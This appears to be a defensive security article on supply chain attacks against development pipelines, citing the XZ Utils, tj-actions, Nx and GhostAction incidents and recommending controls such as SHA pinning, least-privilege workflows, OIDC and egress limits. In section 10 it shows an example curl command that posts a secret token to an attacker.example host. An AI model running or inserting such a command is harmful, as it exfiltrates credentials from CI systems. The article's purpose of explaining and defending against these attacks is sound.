Supply Chain Attacks Targeting the Development Pipeline

Software supply chain attacks are not new, but the target has shifted.

For years, organizations treated software supply chain risk as mostly a third-party vendor problem: review the vendor, scan the application, patch the vulnerability, and move on. That model is no longer enough. Modern attackers are increasingly targeting the development pipeline itself: source repositories, package registries, developer workstations, CI/CD workflows, build scripts, GitHub Actions, IDE extensions, publishing tokens, and automation credentials.

The reason is simple: the development pipeline is where trust is created.

If an attacker can compromise a dependency, a maintainer account, a workflow, or a build environment, they may not need to exploit production directly. They can cause trusted systems to build, sign, publish, or deploy malicious code on their behalf.

The pipeline is no longer just where software is built. It is part of the production attack surface.

Illustration of a software supply chain attack path from developer workstation to repository, CI/CD runner, package registry, and production deployment

Why development pipelines are such attractive targets

A modern development environment often has access to:

  • Source code
  • Deployment credentials
  • Package publishing tokens
  • Cloud credentials
  • Container registries
  • Infrastructure-as-code templates
  • Secrets used during testing and deployment
  • Developer SSH keys and API tokens
  • GitHub, GitLab, Azure DevOps, npm, PyPI, DockerHub, and cloud provider credentials

That makes the development environment one of the most credential-dense areas in the enterprise.

A compromised web server might expose one application. A compromised CI/CD pipeline may expose every application that pipeline can build or deploy.

Recent examples show the pattern

The most useful way to think about these attacks is not as isolated incidents, but as variations on the same theme: attackers look for a trusted step in the software delivery process and turn it into a distribution mechanism.

Incident Targeted trust point What made it dangerous
XZ Utils backdoor Open-source maintainer/release process Malicious code was introduced into a foundational compression library used across Linux ecosystems
tj-actions/changed-files GitHub Action tags and CI/CD workflow execution Tags were modified to point to malicious code that exposed secrets in workflow logs
Nx / s1ngularity npm packages and publishing workflow Malicious packages scanned developer and CI environments for secrets
GhostAction GitHub Actions workflow files Malicious workflows exfiltrated secrets from repositories
Malicious IDE extensions Developer workstation tooling Extensions can access files, terminals, tokens, and source code

Example 1: XZ Utils and the danger of trusted maintainership

The XZ Utils backdoor, tracked as CVE-2024-3094, is one of the clearest examples of supply chain risk moving beyond simple dependency scanning.

XZ Utils is a widely used compression project. Its underlying library, liblzma, is present across many Linux distributions. In this case, the attack was not a simple typo-squatted package or a drive-by malicious upload. The attacker built trust over time, contributed to the project, and eventually gained enough influence to affect releases.

Akamai summarized the issue as malicious code pushed into XZ Utils by a maintainer, with later analysis indicating the backdoor enabled remote code execution rather than only an SSH authentication bypass.1

The important lesson is that the malicious behavior was not just hidden in normal application code. The attack involved the release and build process. Some malicious pieces were not plainly visible in the public repository in the same way downstream consumers might expect. That matters because many organizations assume that reviewing a Git repository is equivalent to reviewing the artifact they actually build and deploy.

It is not.

Repository source != release tarball != built artifact != deployed package

Each step can introduce risk.

What XZ teaches organizations

XZ is a reminder that open-source trust is not a binary decision. A project can be legitimate, useful, widely deployed, and still become a target.

Practical takeaways:

  • Know which open-source components are critical to your environment.
  • Track both source repositories and release artifacts.
  • Prefer reproducible builds where possible.
  • Avoid blindly trusting newly released versions of critical dependencies.
  • Monitor for unusual maintainer, release, or package behavior.
  • Treat build scripts, test files, generated files, and release packaging as security-relevant.

Example 2: tj-actions/changed-files and mutable CI/CD dependencies

The tj-actions/changed-files incident is a direct example of attackers targeting CI/CD trust.

The GitHub Advisory Database states that a supply chain attack compromised the tj-actions/changed-files GitHub Action, impacting more than 23,000 repositories. Attackers retroactively modified multiple version tags to point to a malicious commit, causing secrets to be exposed in GitHub Actions logs during the affected window.2

This is especially important because many teams reference GitHub Actions by tag:

uses: tj-actions/changed-files@v44

That looks controlled, but tags can move.

If an attacker can modify a tag, then the workflow may execute different code tomorrow than it did yesterday.

The safer pattern is to pin third-party actions to a full commit SHA:

uses: tj-actions/changed-files@24d32ffd492484c1d75e0c0b894501ddb9d30d62

That is less convenient, but it changes the trust model. A version tag is a name. A commit SHA is an immutable content reference for practical operational purposes.

GitHub’s own security guidance says pinning an action to a full-length commit SHA is currently the only way to use an action as an immutable release.3

Bad pattern

name: Unsafe CI Example

on:
  pull_request:

jobs:
  changed-files:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Get changed files
        uses: tj-actions/changed-files@v44

Better pattern

name: Safer CI Example

on:
  pull_request:

permissions:
  contents: read

jobs:
  changed-files:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332

      - name: Get changed files
        uses: tj-actions/changed-files@24d32ffd492484c1d75e0c0b894501ddb9d30d62

The exact commit SHA should be selected and reviewed by the organization. The point is not to copy the sample value above blindly. The point is to stop allowing mutable external references to execute inside trusted workflows.

Example 3: Nx / s1ngularity and malicious packages in developer environments

The Nx/s1ngularity attack showed how damaging a compromised package publishing path can be.

According to the Nx postmortem, on August 26, 2025, malicious versions of several Nx packages were published to npm. Attackers exploited a GitHub Actions injection vulnerability, stole an npm publishing token, and published malicious packages for approximately four hours. Nx later implemented npm Trusted Publishers, manual approval for releases, and other security improvements.4

The malicious packages scanned systems for sensitive data and uploaded stolen data to public GitHub repositories.4

This matters because package installation is often treated as a harmless development activity.

It is not.

Many package ecosystems allow install-time scripts. That means installing a dependency can execute code before the developer has even imported it into an application.

npm install some-package

That command may do more than download code. Depending on package behavior and configuration, it may run lifecycle scripts such as preinstall, install, or postinstall.

Safer npm install behavior in CI

One practical hardening step is to disable lifecycle scripts where they are not required:

npm ci --ignore-scripts

That is not universally compatible with every project, but it is a strong default for environments where dependencies should be fetched and verified before any package-provided script is allowed to run.

If a build truly requires install scripts, that exception should be explicit, reviewed, and documented.

Example 4: GhostAction and malicious workflow files

The GhostAction campaign is a reminder that the workflow file itself is sensitive code.

GitGuardian reported that GhostAction affected 327 GitHub users across 817 repositories and exfiltrated 3,325 secrets through compromised GitHub workflows.5

That means the attacker did not necessarily need to compromise the final application. By injecting or modifying workflow files, they could cause the automation platform to run malicious steps inside a trusted CI/CD context.

A GitHub Actions workflow can:

  • Read repository contents
  • Access workflow secrets
  • Build artifacts
  • Publish packages
  • Push tags
  • Deploy infrastructure
  • Authenticate to cloud providers
  • Call external URLs

That makes this file security-sensitive:

.github/workflows/*.yml

A change to a workflow should be reviewed with the same seriousness as a change to authentication code, deployment code, or infrastructure-as-code.

The control problem: security cannot rely on developer memory

Most organizations already know the generic advice:

  • Use MFA
  • Scan dependencies
  • Review code
  • Rotate secrets
  • Patch quickly
  • Use least privilege

That advice is correct, but incomplete.

The hard part is enforcement.

A control that depends on every developer remembering every security rule every time is not really a control. It is a suggestion.

The better approach is to move from guidance to guardrails.

Practical controls that actually help

1. Restrict who can change pipeline definitions

CI/CD workflow files should be protected.

For GitHub, protect paths like:

.github/workflows/**

For GitLab, protect:

.gitlab-ci.yml

For Azure DevOps, protect:

azure-pipelines.yml

A practical policy might be:

File path Required review
.github/workflows/** Security or DevOps approval
Dockerfile Platform or security review
package.json / package-lock.json App owner review plus dependency scanning
requirements.txt / poetry.lock App owner review plus dependency scanning
Terraform modules Infrastructure owner review
Deployment manifests Platform owner review

Example GitHub CODEOWNERS entry:

# Require security/platform review for CI/CD and deployment-sensitive files
.github/workflows/**        @org/security-engineering @org/platform-engineering
Dockerfile                  @org/platform-engineering
docker-compose.yml          @org/platform-engineering
k8s/**                      @org/platform-engineering
terraform/**                @org/cloud-engineering
package.json                @org/appsec
package-lock.json           @org/appsec
requirements.txt            @org/appsec
poetry.lock                 @org/appsec

This does not prevent every problem, but it raises the bar.

2. Pin GitHub Actions to commit SHAs

Avoid this:

uses: some-owner/some-action@v1

Prefer this:

uses: some-owner/some-action@8f4b7f84864484a7bf9f9f7e6c3d0b08c8a6f11a

Then use automation to track and update pinned references through reviewed pull requests.

A workable process:

  1. All third-party actions must be pinned to full commit SHAs.
  2. Dependabot or Renovate opens update PRs.
  3. CI tests the update.
  4. Security or platform engineering reviews the action diff/release.
  5. The update is merged after approval.

This creates friction, but it creates useful friction in the exact place attackers are trying to exploit.

3. Set default workflow permissions to read-only

Many workflows run with more permission than they need.

Set default permissions as low as possible:

permissions:
  contents: read

Then grant additional permissions only where needed:

permissions:
  contents: read
  packages: write

Avoid broad permissions unless the job truly requires them.

A release job might need package publishing rights. A lint job does not.

4. Separate build, test, and deploy credentials

A common mistake is giving the same pipeline context access to everything.

A safer model:

Stage Access level
Pull request validation No secrets or read-only test secrets
Build Read source and write build artifacts
Security scan Read source and read artifacts
Package publish Publish only to approved registry
Deploy to staging Staging-only credentials
Deploy to production Production credentials, gated approval, protected environment

Do not give pull request workflows access to production credentials.

Do not give build jobs deployment rights unless they are actually deploying.

Do not give every repository a shared organization-wide cloud key.

5. Use short-lived identity instead of long-lived secrets

Long-lived static secrets are highly valuable to attackers.

Where possible, use OIDC federation from your CI/CD platform to your cloud provider. This allows a workflow to request short-lived credentials instead of storing long-lived cloud keys as repository secrets.

Conceptually:

GitHub Actions job
  -> requests OIDC token
  -> cloud provider validates repository, branch, workflow, and audience
  -> cloud provider issues short-lived credentials
  -> credentials expire automatically

A policy can be scoped tightly:

{
  "repository": "org/example-app",
  "branch": "main",
  "workflow": "deploy-production.yml",
  "environment": "production"
}

That is much better than storing an AWS, Azure, or GCP key that can be copied and reused elsewhere.

6. Control package sources

Developers should not be pulling arbitrary packages directly from the public internet in enterprise builds.

A practical approach:

Developer / CI
  -> internal artifact proxy
  -> approved upstream package registries

Examples:

  • npm proxy through Artifactory, Nexus, Azure Artifacts, GitHub Packages, or another controlled registry
  • PyPI proxy for Python packages
  • Container image proxy/cache for base images
  • Approved internal module registries for Terraform and other IaC dependencies

Example .npmrc:

registry=https://artifacts.example.com/npm/
always-auth=true

Example pip.conf:

[global]
index-url = https://artifacts.example.com/pypi/simple
trusted-host = artifacts.example.com
require-virtualenv = true

For higher control, block direct egress from CI runners to public package registries and require package retrieval through the approved proxy.

7. Enforce dependency lockfiles

Lockfiles make builds more reproducible and reduce surprise dependency changes.

For npm:

npm ci

Instead of:

npm install

For Python, use pinned dependencies:

requests==2.32.4
urllib3==2.5.0

For stronger Python pinning, use hashes:

requests==2.32.4 \
    --hash=sha256:examplehashgoeshere

The goal is to make dependency changes visible in code review.

A pull request that changes only application logic should not silently change 40 transitive dependencies.

8. Require SBOMs and provenance for release artifacts

A Software Bill of Materials helps answer:

  • What did we ship?
  • Which components are inside it?
  • Which versions are affected by a new vulnerability?
  • Which applications use a compromised dependency?

Example SBOM generation with Syft:

syft packages dir:. -o cyclonedx-json > sbom.cdx.json

Example container SBOM:

syft packages registry.example.com/app/example:1.2.3 -o spdx-json > sbom.spdx.json

SBOMs are not magic. They do not prevent compromise by themselves. But without them, incident response becomes guesswork.

9. Scan for secrets before code reaches the repository

Secret scanning should happen in multiple places:

  • Developer pre-commit hook
  • Pull request scan
  • Repository continuous scan
  • CI/CD log scan
  • Artifact scan

Example using gitleaks locally:

gitleaks detect --source . --verbose

Example pre-commit style workflow:

name: Secret Scan

on:
  pull_request:

permissions:
  contents: read

jobs:
  gitleaks:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332

      - name: Run gitleaks
        run: |
          docker run --rm -v "$PWD:/repo" zricethezav/gitleaks:latest detect --source=/repo --verbose

In a mature environment, avoid latest for the scanner image as well. Pin that image to a known digest.

10. Restrict network egress from CI runners

Many pipeline attacks require outbound access to exfiltrate secrets.

If CI runners can call any host on the internet, a malicious workflow can do something like:

curl -X POST https://attacker.example/upload \
  -d "$SUPER_SECRET_TOKEN"

A hardened runner should have limited egress:

Destination Allow?
Internal artifact repository Yes
Approved package registry proxy Yes
Approved cloud APIs Yes, scoped
Source control platform Yes
Arbitrary internet hosts No
Paste sites / public gist endpoints No
Unknown IP addresses No

This is especially important for self-hosted runners.

11. Treat developer workstations as part of the pipeline

Developer endpoints often have:

  • SSH keys
  • Git credentials
  • Browser sessions
  • Cloud CLIs
  • npm/PyPI tokens
  • IDE extensions
  • Local copies of private repositories
  • Access to internal documentation and systems

That makes the developer workstation a supply chain target.

Practical controls:

  • Require managed devices for repository access.
  • Use EDR/XDR with developer-tool visibility.
  • Restrict unapproved IDE extensions.
  • Disable automatic trust of workspace files where possible.
  • Separate administrative credentials from development credentials.
  • Use hardware-backed MFA.
  • Prefer short-lived tokens.
  • Remove local persistent publishing tokens.
  • Monitor unusual Git activity from developer accounts.

For Visual Studio Code environments, extension governance matters. An extension can be more than syntax highlighting. It may be able to read files, invoke terminals, and interact with developer workflows.

12. Build an exception process that does not become a rubber stamp

Security teams often fail by saying “no” without providing a usable path. Development teams often fail by treating every package or tool request as urgent.

A workable middle ground is a lightweight exception process.

Example package intake criteria:

Question Expected answer
Is this package required for production or only development? Identify scope
Who maintains it? Known maintainer or organization
How popular is it? Downloads, stars, usage, community
When was it last updated? Recent enough to be maintained
Does it run install scripts? Yes/no and why
Does it request network access? Yes/no and why
Is the license acceptable? Legal approval if needed
Is there a safer internal alternative? Compare options
Can it be pinned? Required
Can it be proxied through internal artifacts? Required

The process should be fast for low-risk packages and more rigorous for packages that execute code during install, handle credentials, affect builds, or run in CI/CD.

Example policy: baseline development pipeline controls

A practical baseline might look like this:

Source Control
- MFA required for all users.
- Branch protection required on default branches.
- CODEOWNERS required for CI/CD workflow changes.
- Direct pushes to main are blocked.
- Signed commits required for privileged repositories.

CI/CD
- Workflow permissions default to read-only.
- Third-party actions must be pinned to full commit SHAs.
- Pull request workflows do not receive production secrets.
- Self-hosted runners have restricted network egress.
- Deployment jobs require protected environments and approvals.

Dependencies
- Public packages must be pulled through an internal artifact proxy.
- Lockfiles are required.
- Dependency changes are reviewed.
- Install scripts are disabled in CI unless explicitly approved.
- Critical packages have a minimum age or quarantine period before use.

Secrets
- Long-lived cloud keys are prohibited where OIDC is available.
- Secrets are scanned pre-commit, in pull requests, and continuously.
- Exposed secrets are rotated, not merely removed from Git history.

Build Artifacts
- Release artifacts are generated by CI, not developer laptops.
- SBOMs are generated for release builds.
- Build provenance is retained.
- Container images are pinned by digest for deployment.

Developer Workstations
- Repository access requires managed devices.
- IDE extensions are governed.
- Local publishing tokens are avoided.
- Developer credentials are least privilege and monitored.

Example GitHub Actions hardening pattern

This is a simplified example of a more controlled workflow:

name: Build and Test

on:
  pull_request:
  push:
    branches:
      - main

permissions:
  contents: read

jobs:
  test:
    runs-on: ubuntu-latest

    steps:
      - name: Checkout source
        uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332

      - name: Use Node.js
        uses: actions/setup-node@0a44ba7841725637a19e28fa30b79a866c81b0a6
        with:
          node-version: "22"
          cache: "npm"

      - name: Install dependencies without lifecycle scripts
        run: npm ci --ignore-scripts

      - name: Run tests
        run: npm test

      - name: Generate SBOM
        run: |
          syft packages dir:. -o cyclonedx-json > sbom.cdx.json

      - name: Upload SBOM artifact
        uses: actions/upload-artifact@50769540e7f4bd5e21e526ee35c689e35e0d6874
        with:
          name: sbom
          path: sbom.cdx.json

The exact SHAs above are examples. In a real environment, the organization should verify and update them through a controlled process.

Example: package quarantine

A simple but powerful control is to avoid immediately consuming brand-new package versions.

New public package version released
  -> wait 24 to 72 hours
  -> scan package
  -> check maintainer/reputation signals
  -> approve into internal artifact proxy
  -> allow developers and CI to consume it

This does not catch everything, but it helps avoid being the first organization to execute a newly published malicious package.

For critical packages, the delay should be longer and the review deeper.

Compliance should be automated

Security policy should be expressed as code wherever possible.

Examples:

  • Repository settings managed through Terraform
  • Branch protection checked continuously
  • CODEOWNERS required and tested
  • Workflow files scanned for unpinned actions
  • CI permissions linted
  • Container images checked for digest pinning
  • Dependency files checked for lockfile consistency
  • Secrets scanned automatically
  • SBOM generation required before release
  • Artifact signing required before deployment

A policy that cannot be measured usually cannot be enforced.

What to measure

Useful metrics:

Metric Why it matters
Percent of workflows using SHA-pinned actions Reduces mutable dependency risk
Repositories with branch protection enabled Reduces unauthorized direct changes
Repositories with CODEOWNERS for CI/CD files Improves review of pipeline changes
Number of long-lived secrets in CI/CD Measures credential exposure
Number of packages bypassing artifact proxy Detects policy violations
Mean time to rotate exposed secrets Measures incident response readiness
Percent of release artifacts with SBOMs Improves vulnerability response
Percent of deployments using signed artifacts Improves artifact integrity

The cultural challenge

There is always tension between development speed and control.

Too much friction leads developers to bypass the process. Too little control leaves the organization exposed. The answer is not to turn every developer into a supply chain security expert. The answer is to make the secure path the default path.

Good controls should feel like paved roads:

  • Easy to follow
  • Hard to accidentally bypass
  • Fast enough for normal work
  • Strict where the risk justifies it
  • Auditable after the fact

Final thoughts

Supply chain security is not just dependency scanning.

It is the security of the entire path from developer workstation to source repository, from source repository to build system, from build system to artifact registry, and from artifact registry to production.

The most important mindset shift is this:

Do not only ask whether your application code is secure. Ask whether the system that creates your application can be trusted.

Organizations that want to reduce this risk should focus on practical, enforceable controls:

  • Protect workflow files.
  • Pin third-party actions.
  • Restrict CI/CD permissions.
  • Use short-lived credentials.
  • Proxy and govern package sources.
  • Require lockfiles.
  • Generate SBOMs.
  • Limit runner egress.
  • Monitor developer tooling.
  • Automate compliance checks.

The goal is not perfect security. The goal is to make the attacker’s path harder, noisier, slower, and less likely to succeed.

References


  1. Akamai, “XZ Utils Backdoor — Everything You Need to Know, and What You Can Do,” April 1, 2024. https://www.akamai.com/blog/security-research/critical-linux-backdoor-xz-utils-discovered-what-to-know ↩︎

  2. GitHub Advisory Database, “tj-actions/changed-files through 45.0.7 allows remote attackers to discover secrets by reading actions logs,” CVE-2025-30066 / GHSA-mrrh-fwg8-r2c3. https://github.com/advisories/ghsa-mrrh-fwg8-r2c3 ↩︎

  3. GitHub Docs, “Secure use reference — Pin actions to a full-length commit SHA.” https://docs.github.com/en/actions/reference/security/secure-use ↩︎

  4. Nx, “s1ngularity: What Happened, How We Responded, What We Learned,” September 5, 2025. https://nx.dev/blog/s1ngularity-postmortem ↩︎ ↩︎

  5. GitGuardian, “The GhostAction Campaign: 3,325 Secrets Stolen Through Compromised GitHub Workflows,” September 5, 2025. https://blog.gitguardian.com/ghostaction-campaign-3-325-secrets-stolen/ ↩︎